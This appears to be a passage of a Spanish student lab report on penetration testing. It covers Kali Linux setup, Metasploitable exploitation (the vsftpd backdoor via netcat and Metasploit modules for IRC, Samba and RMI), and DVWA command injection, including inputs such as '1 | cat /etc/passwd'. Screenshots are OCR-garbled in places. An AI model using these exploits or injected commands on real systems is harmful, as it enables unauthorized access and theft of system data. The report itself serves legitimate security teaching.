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Capitulo 1.

Introduccion y Objetivos

La seguridad ha empezado a ser una prioridad en el mundo de la industria y de las
organizaciones publicas, Sin embargo, muchos de los cursos de ciberseguridad o
certificaciones se centran en aspectos defensivos, tales como instalacion de firewall,
creacion de zonas desmilitarizadas, criptografia, etc. Aunque estos aspectos forman parte
de importantes paradigmas de la seguridad, se ha pensado que la mejor manera de
aprender de la ciberseguridad es desde el punto de vista ofensivo.

Esta investigacion abarca la parte técnica de un proyecto mayor, el cual se basa en la
de crear un laboratorio de test de penetracion para que los estudiantes puedan incrementar
sus habilidades ofensivas para mejorar las técnicas de ciberseguridad. El laboratorio en
un entorno controlado ‘in vitro’ construido para ser penetrado.

En el siguiente trabajo préactico, se muestra, de una manera guiada, los procedimientos
a seguir para poder explotar las diferentes vulnerabilidades de tres entornos que podrian
ser reales, como son un OS vulnerable, una aplicacion web y un entorno LAMP.

En el estudio que se ha hecho se diferencia cuatro fases bien diferenciadas, aunque
las tres ultimas tengan un objetivo comun:

1. Enun primer lugar, se habla de Kali Linux, la herramienta que utilizaremos para
explotar las vulnerabilidades de los diferentes entornos.

2. Ensegundo lugar, se muestra el primer entorno vulnerable, Metasploitable, el cual
nos permitird acceder al usuario a través de los diferentes puertos que
encontraremos abiertos.

3. A continuacion, se hara sobre un entorno de aplicacion web, DVWA, el cual
permite conocer diferentes técnicas de intrusion en la web con las que se aprendera
de los fallos que estas poseen en su codigo PHP.

4. Por ultimo, se creard un entorno LAMP en el que se vera una manera eficaz de
conocer los datos de los usuarios registrados en el servicio.




Capitulo 2.

Introduccion a Kali Linux

1..QUE ES?

Es un proyecto de codigo abierto fundado y creado por Offensive Security. Es
capaz de proveer informacion sobre entrenamientos de seguridad de informacion a nivel
mundial, asi como servicios de test de penetracion.

Aunque es un entorno mas enfocado a un publico con un minimo de
conocimientos del hacking ético, también puede servir a una persona gque esta empezando
ya que la distribucion cuenta con mas de 600 aplicaciones para todo tipo de ataques.

2.;COMO INSTALAR KALI LINUX?

Desde la pagina web oficial se puede descargar una imagen de las ultimas
versiones actualizadas todos los meses ( https://www.kali.org/downloads/ ).

Desde una “Virtual Box” (como puede ser Oracle VM) se crea una maquina
virtual. Seguir los pasos no requiere gran dificultad, aun asi, es importante tener en cuenta
los siguientes campos a rellenar para el caso genérico, ya que algunos datos dependeran
del ordenador que tengas:

[ ]
v Crear maquina virtual
Mombre y sistema operativo
. Seleccione un nombre descriptivo para la nueva maquina virtual y seleccione el tipo de
[ ] Tl po: Oth er sistema operativo que tiene intencién de instalar en ella. El nombre que seleccione
serd usado por VirtualBox para identificar esta maquina.
s .
e Version: Other/Unknown(64-bit) Hombre: Kallinux TG
Tipo: [Other M ]
2

Version: [Omer.{Unknown (64-bit)

[Modo gxpertul[ Mext ][ Cancelar ]

Figura 2.1: Configuracion de méaquina virtual



https://www.kali.org/downloads/

B3

%  Tamafo de memoria; 1024 MB

D3

% Disco duro: Crear
un disco duro ahora

«» Tipo de archivo
de disco duro: VDI

B3

s Almacenamiento en unidad de
disco duro fisica:
Reservado dindmicamente.

@ Crear méquina virtual

Tamafio de memoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser reservada para la
méquina wirtual.

El tamafio de memoria recomendado es 64 MB.

U 024 (= MB

4MB 8192MB

Figura 2.2: Configuracién de maquina virtual

@ Crear maquina virtual

Disco duro

Si desea puede agregar un disco duro virtual a la nueva maquina. Puede crear un
nuevo archivo de disco duro o seleccionar uno de la lista o de otra ubicacidn usando el
icono de la carpeta.

. Si necesita una configuracién de almacenamiento més compleja puede omitir este
paso y hacer los cambios a las preferencdas de la maquina virtual una vez creada.

El tamafio recomendado del disco duro es 2,00 GB.
) Mo agregar un disco duro wirtual
@ Crear un disco duro virtual ahora

) Usar un archivo de disco duro virtual existente

I, Raspbian 2017-11 (32bit). vdi (Mormal, Inaccesible)

Figura 2.3: Configuracion de maquina virtual

[EER 5

&) Crear de disco duro virtual

Tipo de archivo de disco duro
Selecione el tipo de archivo gue quiere usar para el nueve disco duro virtual. Sino necesita usarlo
con otro software de virtualizacion puede dejar esta configuracion sin cambiar.

@ VDI (VirtualBox Disk Image)

) VHD (virtual Hard Disk)

) WMDK (virtual Machine Disk)

e mres) [t ] [Lome ]

Figura 2.4: Configuracion de méaquina virtual

(-2t

& creardediseo surovirtual

Almacenamiento en unidad de disco duro fisica
Seleccione si el nuevo archivo de unidad de disco duro virtual deberia crecer segin se use (reserva
dinamica) o si deberfa ser creada con su tamafio méximo (tamafio fija).
Un archivo de disco duro reservado dindmicamente solo usaré espacio en su disco fisico
medida que se lena (hasta un méximo tamaiio fijo), sin embargo no se reducird de nuevo

automaticamente cuando el espacio en él se libere.

Un archivo de disco duro de tamafio fijo puede tomar més tiempa para su creacién en algunos
sistemas, pero normalmente es més rapido al usario.

@ Reservado dindmicamente

©) Tamafio fijo

Figura 2.5: Configuracion de méaquina virtual

'




@ Crear de disco duro virtual

Ubicacion del archivo y tamaiio

Escriba el nombre del archive de unidad de disco duro virtual en el campe debajo o haga dicen <l
icono de carpeta para seleccionar una carpets diferente donde crear el archivo.

KaliLinux TFG [

Seleccione el tamafio de disco duro virtual en megabytes. Este tamaiio e & limite para el archivo de
datos que una méguina virtual podré almacenar en el disca dure.

«» Tamafio de disco duro: 20 GB 0 w0 es

Figura 2.6: Configuracion de maquina virtual

Con esto ya se ha creado la maquina virtual. Para terminar, falta pulir algunos
detalles desde:

% Configuracion/General/Avanzado:
o “Compartir portapapeles:” - Bidireccional
o “Arrastras y soltar:” - Bidireccional

R/

+«+ Configuracion/Red:

o “Conectado a:” > Adaptador de puente (Seleccionar red Wireless
Ethernet)

% Configuracion/Almacenamiento/Agregar una nueva conexion de
almacenamiento/Agregar unidad éptica/Seleccionar Disco:
o Seleccionar KaliLinux.iso

{2 KaliLinux TFG - Configuracién [~ 8|3
@ General Almacenamiento
Iﬂ Sistema Dispositivos de almacenamiento Atributos
Controlador: IDE Unidad dptica: | IDE primario esdavo ~|@
Pantalla @ [ ]
KaliLinux TFG. vdi [F] cD/OVD vive
ipacenamienio @ kaliHinux-2017. 3-amd64.is0 Informacién
. Tipo: Imagen
o audio vacia P "
Tamano: 2,69 GB
@ Red Ubicacién: C:\Users\Jsuario\DesktopTFGk...
Conectadoa:  —
@ Puertos serie
ﬁ USB
|j Carpetas compartidas
E Interfaz de usuario
BB

[ Aceptar ][ Cancelar

Figura 2.7: Configuracion de maquina virtual




Una vez hecho esto, ya se puede abrir la maquina virtual o bien pulsando sobre
Iniciar (parte superior) o bien pulsando doble clic sobre la maquina creada. Cuando se
acceda a la maquina virtual “Kali Linux” solo se tendré que tener en cuenta los siguientes
valores por defecto para poder volver a acceder en caso de que esta se suspenda:

User: root

Password: toor

@) KaliLinux TFG [Corriendo] - Oracle VM VirtualBox ==
Archivo Maquina Ver Entrada Dispositivos Ayuda

Figura 2.8: Interfaz de Kali Linux




Capitulo 3.

Entorno Metasploitable

1. QUE ES?

Es una maquina virtual disefiada con el pensamiento de explotar al méximo el
programa < Framework Metasploit > (de Kali Linux) a través de ciertos fallos de
seguridad y unos determinados puertos abiertos, lo que permite testear estos puertos y
comprobar sus vulnerabilidades en un entorno seguro a la vez que educativo.

En el caso de este proyecto, la idea se basa en obtener un Shell con privilegios
elevados. Es interesante saber el amplio grado de usabilidad de esta méaquina, ya que con
ella pueden trabajar tanto personas que estan empezando a conocer el mundo de la
ciberseguridad, como hackers con un reconocido dominio de la materia.

2.,COMO INSTALAR?

En este caso, se descarga un archivo de disco duro ( .vmdk) de Internet que
contenga el programa Metaesploit, una pagina utilizada a la que se puede recurrir es
“https://sourceforge.net/projects/metasploitable/”. Al igual que se hizo con Kali Linux, se
creard una nueva maquina en VirtualBox. En este caso, los parametros serdn los
siguientes:

e =
\) Crear maguina virtual
Nombre y sistema operativo
e Tipo: Linux Scrs ke deepmvo pre o e e oy e o
° Ve rS i (,)n : U b u ntu (64_b i t) ::;Z:ad’:::fv\:;:jﬁox para identificar esta méquina.
Tipo: [Lmux b ]
-]

Versidn: [uhunm (64-hit)

lMudu gxperto] [ Mext ] l Cancelar ]

Figura 3.1: Configuracion de maquina virtual

N [~ ][]
@ Crear m&quina virtual

Tamarfio de memaria
Seleccione |a cantidad de memaria (RAM) en megabytes a ser reservada para la
méquina wvirtual.
El tamafio de memoria recomendado es 64 MB.

U 1024 [+ MB
4MB 8192 MB
~ -
e Tamafio de memoria: 1024 MB

Figura 9: Configuracion de maquina virtual




@ Crear maquina virtual

Disco duro
Si desea puede agregar un disco duro virtual a la nueva maquina. Puede crear un
° D i sSco d uro: Usar un arch iVO Eii\;nd.zrﬁahtfan’-;sgscﬂ dura o seleccionar uno de la lista o de otra ubicacidn usando el
de d iSCO duro Vi rtual existente . 5i necesita una configuraddn de almacenamiento mas compleja puede omitir este

paso y hacer los cambios a las preferendias de la maguina virtual una vez creada.

El tamafio recomendado del disco duro es 2,00 GB.

(Cargar e I arCh iVO .de k No agregar un disco duro virtual
- - @ Crear un disco duro virtual ahora
d escargad 0 con anterl orl dad) Usar un archivo de disco duro virtual existente

| crear H Cancelar |

Figura 3.3: Configuracion de maquina virtual

Una vez se crea la maquina ya esta todo hecho. En la configuracion de esta
maquina se hacen los mismos retoques generales que con la maquina Kali Linux:

¢+ Configuracién/General/Avanzado:

o “Compartir portapapeles:” = Bidireccional
o “Arrastras y soltar:” = Bidireccional

*

% Configuracion/Red:

o “Conectado a:” > Adaptador de puente (Seleccionar red Wireless
0 Ethernet)

Ahora se inicia MSP-Victima y ya podemos se puede empezar a utilizar
Metasploit.

E MSP-Victima [Cormende] - Oracle YM VirtualBox

Starting deferred execution scheduler atd
Starting periodic command scheduler crond
Starting Tomcat servlet engine tomcat5.5
Starting web server apacheZ
Running local boot scripts (rsetcrsrc.local)
: appending output to ‘nohup.out’
: appending output to ‘nohup.out’

arning: Never expose this UM to an untrusted netuwork?
ontact: msfdevlatImetasploit.com

ogin with msfadnins/msfadmin to get started

etasploitable login:

U &P 9 ] [ iR {5} (3 (3] cTRL DERECHA

Figura 3.4: Interfaz Metasploitable



Para entrar como usuario:

Login: msfadmin

Password:  msfadmin

3.ATAQUE DESDE KALI LINUX:

Obtencion de direccion IP de las maquinas atacante y victima a través del siguiente
comando:

#ifconfig

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.9.105 netmask 255.255.255.0 broadcast 192.168.9.255
inet6 fe80::27b2:cc33:8a2d:8af6 prefixlen 64 scopeid Ox20<link>
ether 08:00:27:68:80:9b txqueuelen 1000 (Ethernet)
RX packets 61 bytes 5728 (5.5 KiB)
RX errors © dropped © overruns @ frame ©
TX packets 30 bytes 2936 (2.8 KiB)
TX errors © dropped © overruns © carrier ® collisions ©
device interrupt 19 base 0xd020

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 176 bytes 14796 (14.4 KiB)
RX errors © dropped © overruns © frame ©
TX packets 176 bytes 14796 (14.4 KiB)
TX errors © dropped © overruns @ carrier ® collisions ©

Figura 3.5: Comando “ifconfig” en terminal

En la anterior captura se observa la direccion IP de la maquina, asi como la mascara de
red, broadcast, etc. Para comprobar que ambas maquinas se encuentran en la misma red deberan
tener la misma broadcast.

Una vez se obtenga la direccién IP de la maquina Kali, asi como de la maquina
Metasploitable se puede verificar la conexion entre ambas con el siguiente comando
desde el terminal de Kali Linux (que es donde se trabajara a partir de ahora):

#ping {ip address MSP} —>Para cortar el envio de paquetes pulsar CTRL+C

10
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root@kali: ~ e ® 0

File Edit View Search Terminal Help

:~# ping 192.168.9.103
PING I92.168.9.103 (192.168.9.103) 56(84) bytes of data.
64 bytes from 192.168.9.103: icmp_seq=1 ttl=64 time=1.43 ms
64 bytes from 192.168.9.103: icmp seq=2 ttl=64 time=0.568 ms
64 bytes from 192.168.9.103: icmp seq=3 ttl=64 time=0.808 ms

from 192.168.9.103: icmp seq=4 ttl=64 time=1.10 ms

192.168.9.103 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3030ms
rtt min/avg/max/mdev = 0.568/0.978/1.432/0.326 ms

Figura 3.6: Ping entre maquinas

El siguiente paso es el de hacer un mapeo de todos los puertos de la maquina a la
que se quiere atacar, en este caso, el comando da la siguiente lista, en la cual se puede
apreciar todos los puertos abiertos que tienen:

#nmap -sV {ip address MSP}

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# nmap -sV 192.168.9.103

Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-06 08:20 UTC
Nmap scan report for 192.168.9.103
Host is up (0.00065s latency).
Not shown: 977 closed ports
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X -
open netbios-ssn Samba smbd 3.X -
open exec netkit-rsh rexecd
open login OpenBSD or Solaris rlogind
open tcpwrapped
open rmiregistry GNU Classpath grmiregistry
open shell Metasploitable root shell
open nfs 2-4 (RPC #100003)
open ftp ProfFTPD 1.3.1
open mysql MySQL 5.0.5la-3ubuntus
open postgresql PostgreSQL DB 8.3.0 - 8.3.7
open vnc VNC (protocol 3.3)
open X11 (access denied)
open irc UnrealIRCd
open ajpl3 Apache Jserv (Protocol v1.3)
open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:72:3F:EA (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:
/o:linux:linux_kernel

workgroup: WORKGROUP)

4.X (
4.X (workgroup: WORKGROUP)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Figura 3.7: Mapeo de puertos a la maquina Metasplotable

Una vez que se sabe los puertos a los que se puede acceder, se procedera a intentar
entrar por cualquiera de ellos.

La idea del proyecto es poder entrar usando Kali Linux, pero sin la necesidad de
usar una de sus herramientas principales, como la aplicacion “Framework Metasploit”.
En este caso, se verd dos ejemplos de intrusion, uno a través de la terminal y otro con
ayuda de la aplicacion de Kali Linux.

11
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3.1. Intrusion por terminal del puerto 21 FTP

De los 23 puertos que se encuentran abiertos se observa un puerto accesible
usando unicamente la consola de la maquina virtual.

En este caso se trata del puerto 21, FTP. Si se busca en el cddigo del metasploit
en cuestion, ”Backdoor command execution”(Metasploit), para la version vsftpd 2.3.4
que es con la que se esta trabajando ( https://github.com/rapid7/metasploit-
framework/blob/master/ modules/exploits/unix/ftp/vsftpd 234 backdoor.rb ), se
encuentran los siguientes detalles que indican un error de backdoor en ese puerto:

nsock = self.connect(false, {'RPORT' => B82B8}) rescue nil
if nsock
print_status("The port used by the backdoor bind listener is already open™)

handle_backdoori{nsock)

return
end
# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' =» B288}) rescue nil
if nsock
print_good( "Backdoor service has been spawned, handling...")

handle_backdoor{nsock)
return

end

if r =~ fuld=/
print_error{"The service on port 6288 does not appear to bhe a shell"™)
disconnect(s)
return

end

Figura 3.8: Fragmentos de codigo para el Backdoor de FTP

Por lo tanto, para poder entrar dentro del puerto ftp, se tiene que asegurar de tener
descargado dicho servidor en el equipo, si no es el caso, se podra usar el siguiente
comando:

#apt-get install ftp

Una vez que tengamos en nuestro dominio ftp, se debera hacer lo siguiente:

#ftp {ip address MSP}

12

——
| —


https://github.com/rapid7/metasploit-framework/blob/master/%20modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://github.com/rapid7/metasploit-framework/blob/master/%20modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

En este momento pedird un nombre de usuario y una contrasefia, volviendo al
cadigo fuente se observa lo siguiente:

sock.put{"USER #{rand_text_alphanumeric{rand{&)+1)3}:1r\n"™)
resp sock.get_once(-1, 38).to_s

print_status{"USER: #{resp.strip}™)

sock.put{"PASS #{rand_text_alphanumeric(rand{al+1)3wrin")

Figura 3.9: Fragmentos de codigo para el Backdoor de FTP

Por lo que para acceder se escribira:

Name: a:)

—la letra ‘a’ hace referencia a un texto cualquiera.

Password: <Enter> - La contrasefia vuelve a ser una tecla aleatoria

Ahora es el momento de abrir un netcat en otro terminal con el fin de abrir un
puerto TCP en el HOST forzando la conexion a través de un interprete de comandos:

#nc {ip address MSP} 6200

Donde 6200 es el puerto a abrir, visto en el codigo de la vulnerabilidad.

-
\
X
e
F
=
®

& KaliLinux TFG [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos  Ayuda

root@Kkali: ~

Fik Edit View Search Terminal Help
:~# ftp 192.168.9.103

Connected to 192.168.9.103.

220 (vsFTPd 2.3.4)

Name (192.168.9.103:root): dd:)

331 Please specify the password.

Password:

0

—
root@kali: ~

File Edit View Search Terminal Help

:~# nc 192.168.9.103 6200
whoami
root

cd
sh: line 3: cd: HOME not set

s

bin

boot

cdrom

dev

etc

home
initrd
initrd.img
lib
lost+found

Figura 3.10: Terminales con Backdoor y Netcast

13
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Una vez hecho todo esto, desde este segundo terminal se puede escribir como si
se estuviera en la maquina atacada, obteniendo informacion root.

3.2. Intrusion por aplicacion.

Como se vera a continuacion, con el uso de la aplicacion Framework es mucho
mas facil acceder a la victima a través de los diferentes puertos.

Para empezar, vamos a hacerlo con el puerto 6667 IRC. Lo primero que se hace
es abrir Metasplot Framework, el cual se encuentra en la barra de tareas

Applications « Places v Terminal v 3 Sat 09:23

Terminal

File Edit View Search Terminal Help
Creating database user 'msf'

Enter password for new role:

Enter it again:

Creating databases 'msf' and 'msf test'

Creating configuration file in /usr/share/metasploit-framework/config/database.y
ml

Creating initial database schema

[*] StartiNg the Metasploit Framework console...-

Figura 3.11: Uso de aplicacion Metasploit Framework

Alli mismo, se comprueba la conectividad de la base de datos y se busca el
“exploit/backdoor” que se busca en una lista de vulnerabilidades, para ello se generan los
siguientes comandos, comprobando que la base de datos esta conectada, luego se obtiene
una lista con los diferentes exploit del servicio para a continuacion utilizarlo. En este caso
en concreto se utilizara “exploit/unix/irc/unreal ircd 3281 backdoor”. Una vez dentro se
haran unos pequefios ajustes de configuracion como los de LHOST y RHOST vy vya se
podra ejecutar el exploit y entrar en la maquina atacada, en este caso la maquina virtual
Metasploitable

db_status

search irc

use exploit/unix/irc/unreal_ircd_3281_backdoor
set payload cmd/uxix/reverse

set RHOST {direccién_IP_MSP}

set LHOST {direccion_IP_KaliLinux}

run =20 “exploit”

VVVY
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Este tipo de ataque es relativamente sencillo, ya que de esta manera se pueden
hacer pruebas de penetracion a casi todos los puertos. A continuacion, se afiaden unos
ejemplos de otros puertos y su implementacion en Framework Metasploit para
introducirse por diferentes puertos.

Puerto Codigo
21 — FTP (vsftpd 2.3.4) search vsftp
use exploit/unix/ftp/vsftpd 234 backdoor
139 — Samba (smbd 3.x-4.x) search samba
use exploit/multi/samba/usermap_script
1099 - RMI REG search java_rmi
use exploit/multi/misc/java_rmi_server

Tabla 3.1: Cadigos para explotar diferentes puertos con Framework
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Capitulo 4.
Entorno DVWA

1. ¢ QUE ES?

Segun la pagina web oficial, es una aplicacién web que trabaja con PHP/MySQL
y es muy vulnerable intencionadamente. Tiene como objetivo ayudar a testear de manera
profesional la seguridad en un ambiente legal, ayuda a los desarrolladores a entender
mejor el proceso de seguridad en una aplicacion web y ayuda a profesores/estudiantes a
ensefar/aprender la seguridad de una aplicacion web en un ambiente de sala de clase.

Entre las principales técnicas de ataque se encuentran las de inyeccion SQL, XSS,
fuerza bruta o ejecucion de comandos.

2. ;COMO INSTALARLO?

En este caso, se debe escribir una serie de comandos instalando algunos servidores
y modificar algunos documentos para poder comenzar a usar apache:

#apt-get install mysql-server

#apt-get install unzip apache2 php7.0 php7.0-mysgl php-pear

#cd fvar/www/html 2Directorio de Apache por defecto

#wget https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip

#unzip v1.0.8.zip

#mv DVWA-1.0.8/ dvwa

#nano dvwa/config/config.inc.php —-Aqui debemos poner la contrasefia que
gueramos sustituyendo [P@sswOrd = toor]

#cd
#nano /etc/php/7.0/cli/php.ini  >Modificamos [allow_url_include = ON]
#chmod -R 777 /var/www/html/dvwa

#mysql -u root -p —>Password = toor
>créate database dvwa;
>exit;
#nano /etc/apache2/apache2.conf —2Anadir en la ultima linea
[ServerName localhost]
#service apache2 start -Ultimo paso

*Probablemente haya que usar el comando ‘sudo’ en alguna
linea para adquirir permisos de superusuario

Una vez hecho todo esto, para entrar en DVWA se entra en el buscador Firefox, y
se abre la siguiente pagina {ip address Machine DVWA}/dvwa, pediran user:password,
el cual seré el siguiente por defecto:
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https://github.com/RandomStorm/DVWA/archive/v1.0.8.zip

e Username = admin
e Password = password

D\(WA)

Username

admin

Password

sesvsnes

Figura 4.1: Interfaz DVWA

Una vez dentro se observa una barra en el lateral izquierdo dividida en tres zonas.

(Home

Instructions
Setup

Brute Force
Command Execution
CSRF

Eileinclisiog

SQL Injection

saL lnjecllon (Bllnd)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: enzbled

o)

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (CVWA) is a PHP/MySQL web agglication that i damn wulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
better understand the processes of securing web applications and aid teachars/ctudents to teach/ieam web
application secunty in a class reom environment

WARNING!

Damn Vulnerable Web App is damn vwuinerabiel Do not uplead it to your hosting provider's public himl folder or
any internst facing web server as it will be compromised. Ve recommend downloading and installing XA 1
orto a loca! machine inside your LAN which is used solely for testing.

Disclaimer

\We do not 1ake rasponsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have gven warnings and taken measures to
prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of
DVVV/A 1t is not our responsibility it is the rasponsibility of the parsonis who ugpleaded and instalied it

General Instructions

The halp button allows you to vew hits/tips for each vulnerability and for each security level on their respective
page.

Figura 4.2: Entorno de trabajo de la aplicacion web DVWA

La primera, trata de informacion general de la aplicacion y un botdn para resetear
la base de datos. La segunda zona es donde se encuentran todas las vulnerabilidades de
las que dispone la web para poder testar con ellas. La ultima es la que contiene el nivel
de seguridad de la aplicacién y otra informacién adicional.

Uno de los botones a conocer es el de “DVWA security”, el cual ofrece la
posibilidad de cambiar la dificultad para explotar las diferentes vulnerabilidades.
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DVWA Security =

Script Security
Security Level is currently high.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVVWA.

medium
high
v.0.6 (PHP-Intrusion Detection System) is a secunity layer for PHP based web applications.

You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently disabled. [ |
[ 1-T ]

Figura 4.3: Diferentes niveles de seguridad

Con la ayuda de algunas aplicaciones de Kali Linux, sobre todo “Burpsuite”, se
pueden explotar la mayoria de las vulnerabilidades de la aplicacion. Sin embargo, la
intencion del trabajo es la de poder explotar la web sin tener que utilizar esta herramienta,
entendiendo el codigo que se presenta en cada vulnerabilidad, asi como en cada nivel de
seguridad.

3.EXPLOTACION DE VULNERABILIDADES

Tal y como se ha comentado antes, DVWA €S UNa ' Brute Force |
aplicacion web que se compone de diferentes vulnerabilidades, command Execution |
como muestra la captura del margen derecho. Lo interesante de cSRF |
esta parte de la préctica es ver los diferentes codigos de las paginas  Insecure CAPTCHA |
creadas y en los diferentes niveles de dificultad, para poder File Inclusion |
entender como trabaja, los posibles fallos que tenga, y asi elaborar SQL Injection I

|
|
|

una posible prevencién a los diferentes ataques que se puedan _SQL Injection (Blind)

ocasionar. Upload
XSS reflected

A continuacion, se muestran algunos de los ejemplos de XSS stored
explotacion que se han considerado mas interesantes para el g ra 4.4: vulnerabilidades
desarrollo de este trabajo.

3.1. Brutal force.

El interfaz que vemos en esta aplicacion es el siguiente:
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Vulnerability: Brute Force

Login
Username:

Password:

Login

Figura 4.5: Interfaz Brute Force

La ayuda ofrecida por esta aplicacion nos habla sobre el proceso de fuerza bruta.

Help - Brute Force (Login)

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try
guesses for the password.

Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, given and family names, any too short password (usually
thought to be 6 or 7 characters or less). or any password meeting a too restrictive and so predictable, pattern (eg. alternating vowels and consonants).

A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be
successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords.

Figura 4.6:Ayuda Brute Force

La siguiente imagen muestra el funcionamiento ideal de la aplicacion donde
simplemente introduces tu usuario y contrasefia y te da la bienvenida.

Login

Username:
admin
Password:

SRR RERE
Laogin

Welcome to the password protected area admin

Figura 4. 7: Login Brute Force

Para esta herramienta se ha encontrado un método simple a la vez que eficaz
usando la herramienta Burp Suite de Kali Linux, por lo que no es interés de este proyecto.

3.2. Command execution.

Esta vulnerabilidad como se vera a continuacion no viene limitada por casi nada,
haciendo que el nimero de posibilidades de ataque sean muy amplias.
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Ping for FREE

Enter an IP address below:

submit

Figura 4. 8: Interfaz Command Execution

Si se observa «View Help» se puede ver el siguiente texto:

Help - Command Execution

The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like
this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized
system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are
possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).

To add a command use ; for linux and && for windows. Example: 127.0.0.1 && dir

Figura 4.9: Ayuda Command Execution

Lo que viene a decir que al introducir un comando especifico como atacante se
puede llegar a utilizar el control del sistema en forma de cookies, HHTP...

Como se ve en la siguiente captura, permite ejecutar un comando donde se vera
los diferentes archivos y directorios de un servidor.

Ping for FREE

Enter an IP address below:

submit

PING 10.210.160.73 (10.210.1&60.73) 5&(84) byrtes of data.

€4 bytes from 10.210.160.73: icmp seg=l ttl=6€4 time=0.043 n=
€4 bytes from 10.210.160.7 icmp segq=2 ttl=€4 time=0.056 ms
€4 bytes from 10.210.16 3: icmp seg=3 trl=64 time= 5T ms
-—— 10.210.160.73 ping

3 packets transmitted e 1998ms

rtt min/favg/max/mdev

Figura 4. 10: Ejecucién Comman Execution

Si se observa el script en php de la pagina con un nivel de seguridad LOW se
puedo uno fijar que en ningln momento se trata a la variable $target de forma alguna, asi
como si esta coincide con una direccion IP. Esto hara que esta vulnerabilidad ocasione
una catastrofe en la web, ya que lo que hace la aplicacion web es aceptar lo que entre y
por lo tanto un usuario con malas intenciones podra hacer escribir otros comandos
diferentes.
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Codigo PHP
<?php

if(isset( $_POST[ 'submit'])) {

$target =$ REQUEST] 'ip'];

if (stristr(php_uname('s"), 'Windows NT")) {

$cmd = shell_exec( ‘ping . $target );
echo '<pre>'.$cmd.'</pre>";

}else {

$cmd = shell_exec( 'ping -c 3. $target );
echo '<pre>'.$cmd.'</pre>';
}
}

7>

Se puede observar, por tanto, que concatenando una serie de elementos a través
de “&”, “&&”, “|” o “||”, entre otros se podra sobrepasar este fallo de codigo. Si se
introduce « 1 | whoami » se obtiene la licencia de usuario como se muestra en la siguiente
figura:

Ping for FREE

Enter an IP address below:

1 | whoami  submit |
www-data

Figura 4. 11: Vulnerabilidad “Whoami” Command Execution

En segundo lugar, si se introduce « 1 | cat /etc/passwd » la informacién que se
proporciona es la de dicha carpeta, es decir, los diferentes datos de usuarios para poder
entrar al sistema. De esta manera, se puede observar que, aunque la informacién que
obtenemos sea solo de lectura, sin acceso a super privilegios, se puede llegar a obtener
informacion sensible del sistema atacado.
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Ping for FREE

Enter an IP address below:

1| cat /etc/passwd|

root:x:0:0:root:/root:
daEHC:.X._:_.daEHC’

r/sbin/nologin

Sync:x:4: 655;9 3y
games:x:5: 60:games: fusrc
man:x:6:12:man: /var
1p:x:7:7:1 /
mail:x:8:8:mail:/x
news:x:9:9:new
::cp:x:;&:;a I
proxy:x:13:13:pr
www—data:ix: 33

irc:x: ;9 39 __cd fvar/run/ircd: fusr/sbin/nologi
gnats:x:41: 4_'““at3 Bug-Reporting System (admin):/wvar/lib/gnats:/usr/sbin/nologin
nobody:x:65534: 63534 ::nobody onexistent:/usc/ sb_:f’c ogin
libuuid:x:100:101::/var/1i 1 8
syslog:x:101:104: : /home
messagebus:x:102:106: : fvar/r
usbmux:x:103:46:usbmux daemon,,,
dnsmasg:x:104: 65534 :dnsmasg, ., :/var/1lib/mi
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/x hi-autoipd:/bin/false
kernoops:x:106: 65534 :Kernel Oops Tracking Daemon, ,,:/: b n/false
rtkit:x:107:114:RealtimekKic,,, :/proc: /bin/false
saned:x:108:115: : /home/saned: /bin/false
whoopsie:x:109; /nonexistent: /bin/fal=e
speech-dispatcher:x:110:29:5peech Dispatcher
hi :hvahi mDNS daemon, ., : /%
:Light Display Manager:/x
colord colour manageme:
3 IP systcem user,,, ./
pulse:x:115:12 ulselAudioc daemon, ,
rt:x:1000:1000: _t,,,:f'CNE’”t /b

mysgl:x:116:127:My5QL Server,,,:/n

oD :a“f”'“-spee5' —dispatcher:/bin/sh

onexistent:/bin/false

Figura 4.12:Obtencion de carpeta /etc/passwd en nivel de seguridad LOW

El siguiente script corresponde con la implementacion afiadida del nivel de
seguridad MEDIUM. En este caso se tiene una especie de lista negra para los comandos
